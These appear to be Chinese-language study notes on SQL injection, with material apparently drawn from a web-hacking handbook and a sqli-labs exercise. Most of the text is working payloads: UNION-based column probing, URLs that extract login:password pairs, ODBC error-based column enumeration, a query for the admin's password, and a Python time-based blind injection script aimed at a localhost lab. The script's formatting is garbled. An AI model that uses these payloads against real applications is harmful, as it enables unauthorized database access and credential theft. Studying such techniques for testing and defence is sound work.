SQL注入

数字数据

绕过过滤：例如：表达式等于2

1.A的ASCII码值为65，则67-ASCII('A')

2. 1的ASCII值为49，则51-ASCII(1)

常用特殊符号编码绕过：

0x1:&和=注入时用于连接名称/值时，分别使用%26与%3d进行编码。

0x2:由于+被用于编码空格，使用时必须使用%2b对其编码，1+1以1%2b提交

0x3:/*!32303 and 1=0*/

注入点注入与手工 数据提取

0x1:确定所需的栏数，在注入查询中增加NULL值，直到查询被执行，不再返回错误信息。

0x2:确定所需的栏数后，依次输入‘a’寻找字符串数据的栏.

https://wahh-app.com/employees.asp?EmpNo=7521&20UNION&2OSELECT%20'a',NULL,NULL,NULL&20from&20dual--

https://wahh-app.com/employees.asp?EmpNo=7521&20UNION&2OSELECT%20NULL,'a',NULL,NULL&20from&20dual--

数据获取技巧

提示 在刚刚描述的攻击中，有两个栏可用于获取数据；最简单的攻击方法是同时使用这两个栏。如果只有一个字段可供利用，也可以将几个想要提取的数据连接成一个字符串，放入这个字段中，实施相同的攻击。例如，下面的 URL 将提取 Employee 字段中的用户名和密码，它们之间用冒号分隔。

```
https://wahh-app.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL,
login||':'||password,NULL,NULL%20from%20user_objects--
```

获取users表中的栏

这时，同样从users表中开始提取数据。为查明users表中栏的名称，可以查询syscolumns表：

```
https://wahh-app.com/products.asp?q=hub'%20UNION%20select%20b.name,null%
20from%20sysobjects%20a,syscolumns%20b%20where%20a.id=b.id%20and%
20a.name%3d'users'--
```

PRODUCT	PRICE
Netgear Hub (4-port)	£30
Netgear Hub (8-port)	£40
Login	
Password	
Privilege	
Sessionid	
Uid	
Word	

MS-SQL的ODBCb=报错信息注入：

0x1:发现ODBC报错出现在浏览器中，第一步：注入如下字符串

' having 1=1--得到错误项包含被查询表的名称

0x2:下一步在攻击字符串中插入得到的栏名称，得到如下字符串：

' group by users.ID having 1=1--

```
' having 1=1--
```

它生成如下错误消息：

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.ID' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
```

这个错误消息中包含数据项users.ID，它实际上揭示了被查询的表的名称（users）和查询返回的第一栏的名称（ID）。下一步是在攻击字符串中插入枚举出的栏名称，得到以下字符串：

```
' group by users.ID having 1=1--
```


提交这个值生成如下错误消息：

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
```

这条消息揭示了查询返回的第二个栏的名称。可以继续在攻击字符串中插入每个枚举出的栏名称，最终得到下面的攻击字符串：

提取任意数据

0x1:构造 ' or 1 in(select @@version)

获取管理员密码：' or 1 in(select password from users where username='admin')--

常用注入语句：

concat_ws(char(32,58,32),user(),database(),version()) 、

union select 1,2,group_concat(concat_ws(char(32,58,32),id,username,password)) from users %23

时间延迟：

and if(left(database(),%d)='%s',sleep(5),null)#"%(i,database_name+chr(j))

payload:

coding=utf-8`

`import requests` import time

database_name="" url="http://localhost/Less-15/" headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0', 'Host': 'localhost' } currentTime=time.time() for i in range(1,9): for j in range(65,123): payload="and if(left(database(),%d)='%s',sleep(5),null)#"%(i,database_name+chr(j)) data={ "uname":"admin\'"+payload, "passwd":"admin", } starttime=time.time() name=requests.post(url,data=data,headers=headers) if time.time()-starttime>=5: database_name+=chr(j) break finishTime=time.time() print("[+] 一 共 使 用 了 "+str(finishTime-currentTime)+"s") print("[+]数据库名字:"+database_name)`

二阶SQL注入

1；攻击者在http请求中提交恶意输入；

2；恶意输入保存在数据库中；

3；攻击者提交第二次http请求；

4；为处理第二次http请求，程序在检索存储在数据库中的恶意输入，构造SQL语句；

5；如果攻击成功，在第二次请求响应中返回结果。